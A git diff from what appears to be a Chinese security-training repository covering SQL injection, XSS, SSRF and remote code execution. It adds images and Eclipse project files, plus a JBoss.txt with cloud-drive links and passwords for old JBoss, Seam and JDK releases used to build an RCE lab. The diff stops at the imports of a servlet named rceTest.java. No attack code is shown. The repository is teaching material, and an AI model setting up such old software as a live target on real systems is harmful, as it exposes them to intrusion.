diff --git "a/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" "b/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store"
new file mode 100644
index 0000000..7281db4
Binary files /dev/null and "b/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" differ
diff --git "a/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" "b/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store"
new file mode 100644
index 0000000..5008ddf
Binary files /dev/null and "b/\343\200\22002\343\200\221SQL \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" differ
diff --git "a/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" "b/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store"
new file mode 100644
index 0000000..4da8b32
Binary files /dev/null and "b/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" differ
diff --git "a/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" "b/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store"
new file mode 100644
index 0000000..89fd26c
Binary files /dev/null and "b/\343\200\22003\343\200\221XSS \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" differ
diff --git "a/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" "b/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store"
new file mode 100644
index 0000000..20e0909
Binary files /dev/null and "b/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" differ
diff --git "a/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md" "b/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
index 78ae190..02931a1 100644
--- "a/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
+++ "b/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\22004\343\200\221SSRF \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
@@ -369,8 +369,6 @@ public ProxyWhitelist(String whitelistStr, boolean probeLocal) {
* BasicHttpRequest
* URI
-
-
## 0x06 参考
https://github.com/frohoff/jdk8u-jdk/tree/master/src/share/classes/sun/net/www/protocol
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store"
new file mode 100644
index 0000000..630f9a9
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/.DS_Store" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store"
new file mode 100644
index 0000000..5008ddf
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/.DS_Store" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png"
new file mode 100644
index 0000000..31c2267
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/1.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png"
new file mode 100644
index 0000000..b019f8d
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/10.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png"
new file mode 100644
index 0000000..89ac389
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/11.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png"
new file mode 100644
index 0000000..1a1514a
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/12.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png"
new file mode 100644
index 0000000..c01c39b
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/13.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png"
new file mode 100644
index 0000000..dadacd0
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/14.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png"
new file mode 100644
index 0000000..5ae350c
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/15.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png"
new file mode 100644
index 0000000..58ad1d0
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/16.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png"
new file mode 100644
index 0000000..ad2972b
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/17.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png"
new file mode 100644
index 0000000..44fb1cd
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/2.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png"
new file mode 100644
index 0000000..c838559
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/3.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png"
new file mode 100644
index 0000000..3937660
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/4.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png"
new file mode 100644
index 0000000..87c7d71
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/5.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png"
new file mode 100644
index 0000000..adfec83
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/6.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png"
new file mode 100644
index 0000000..86457cc
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/7.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png"
new file mode 100644
index 0000000..4b18997
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/8.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png"
new file mode 100644
index 0000000..07922dd
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/img/9.png" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/.DS_Store" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/.DS_Store"
new file mode 100644
index 0000000..5008ddf
Binary files /dev/null and "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/.DS_Store" differ
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/JBoss.txt" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/JBoss.txt"
new file mode 100644
index 0000000..b6259b1
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/jboss/JBoss.txt"
@@ -0,0 +1,15 @@
+
+1、jboss-5.0.1.GA.zip
+链接:https://pan.baidu.com/s/1Ecri9BOoE5t0COiAfGy64A 密码:b1ju
+
+2、jboss-seam-2.2.0.CR1.zip
+链接:https://pan.baidu.com/s/12nt9qwXyoQp_GEEsAiyrMQ 密码:dp5k
+
+3、jdk-6u45-linux-x64.bin
+链接:https://pan.baidu.com/s/16w8g6ywBlUYyU30YnX0zTw 密码:ku26
+
+4、apache-ant-1.6.2.rar
+链接:https://pan.baidu.com/s/14TCLozENOMLLmVhKMvpUqQ 密码:cfft
+
+5、ubuntu-18.04.2-desktop-amd64.iso
+链接:https://pan.baidu.com/s/1z-cQumNuEfqYuN74gmMwkw 密码:khcd
\ No newline at end of file
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.classpath" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.classpath"
new file mode 100644
index 0000000..be5d386
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.classpath"
@@ -0,0 +1,23 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.project" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.project"
new file mode 100644
index 0000000..9e5eed0
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.project"
@@ -0,0 +1,36 @@
+
+
+ rce
+
+
+
+
+
+ org.eclipse.jdt.core.javabuilder
+
+
+
+
+ org.eclipse.wst.common.project.facet.core.builder
+
+
+
+
+ org.eclipse.wst.validation.validationbuilder
+
+
+
+
+ com.genuitec.eclipse.j2eedt.core.DeploymentDescriptorValidator
+
+
+
+
+
+ org.eclipse.jem.workbench.JavaEMFNature
+ org.eclipse.wst.common.modulecore.ModuleCoreNature
+ org.eclipse.wst.common.project.facet.core.nature
+ org.eclipse.jdt.core.javanature
+ org.eclipse.wst.jsdt.core.jsNature
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/.jsdtscope" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/.jsdtscope"
new file mode 100644
index 0000000..f2f9fad
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/.jsdtscope"
@@ -0,0 +1,12 @@
+
+
+
+
+
+
+
+
+
+
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.jdt.core.prefs" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.jdt.core.prefs"
new file mode 100644
index 0000000..0c68a61
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.jdt.core.prefs"
@@ -0,0 +1,7 @@
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.8
+org.eclipse.jdt.core.compiler.compliance=1.8
+org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
+org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
+org.eclipse.jdt.core.compiler.source=1.8
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.component" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.component"
new file mode 100644
index 0000000..66aa19c
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.component"
@@ -0,0 +1,8 @@
+
+
+
+
+
+
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.project.facet.core.xml" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.project.facet.core.xml"
new file mode 100644
index 0000000..77b767d
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.common.project.facet.core.xml"
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.container" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.container"
new file mode 100644
index 0000000..3bd5d0a
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.container"
@@ -0,0 +1 @@
+org.eclipse.wst.jsdt.launching.baseBrowserLibrary
\ No newline at end of file
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.name" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.name"
new file mode 100644
index 0000000..05bd71b
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/.settings/org.eclipse.wst.jsdt.ui.superType.name"
@@ -0,0 +1 @@
+Window
\ No newline at end of file
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/META-INF/MANIFEST.MF" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/META-INF/MANIFEST.MF"
new file mode 100644
index 0000000..5e94951
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/META-INF/MANIFEST.MF"
@@ -0,0 +1,3 @@
+Manifest-Version: 1.0
+Class-Path:
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/index.jsp" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/index.jsp"
new file mode 100644
index 0000000..4c4ef27
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/WebRoot/index.jsp"
@@ -0,0 +1,26 @@
+<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
+<%
+String path = request.getContextPath();
+String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
+%>
+
+
+
+
+
+
+ My JSP 'index.jsp' starting page
+
+
+
+
+
+
+
+
+
+ This is my JSP page.
+
+
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/pojo/Command.java" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/pojo/Command.java"
new file mode 100644
index 0000000..7fca9c5
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/pojo/Command.java"
@@ -0,0 +1,29 @@
+package com.sec.pojo;
+
+public class Command {
+
+
+ public String AddCommand(String str){
+
+ String message = "执行"+ str +"操作命令";
+ return message;
+ }
+
+ public String DeletcCommand(String str){
+ String message = "执行"+ str +"操作命令";
+ return message;
+ }
+
+ public String ModifyCommand(String str){
+ String message = "执行"+ str +"操作命令";
+ return message;
+ }
+
+ private String PrivateCommand(String str){
+ String message = "执行"+ str +"操作命令";
+ return message;
+ }
+
+
+
+}
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/servlet/rceTest.java" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/servlet/rceTest.java"
new file mode 100644
index 0000000..6470c8e
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/rce/src/com/sec/servlet/rceTest.java"
@@ -0,0 +1,69 @@
+package com.sec.servlet;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.PrintWriter;
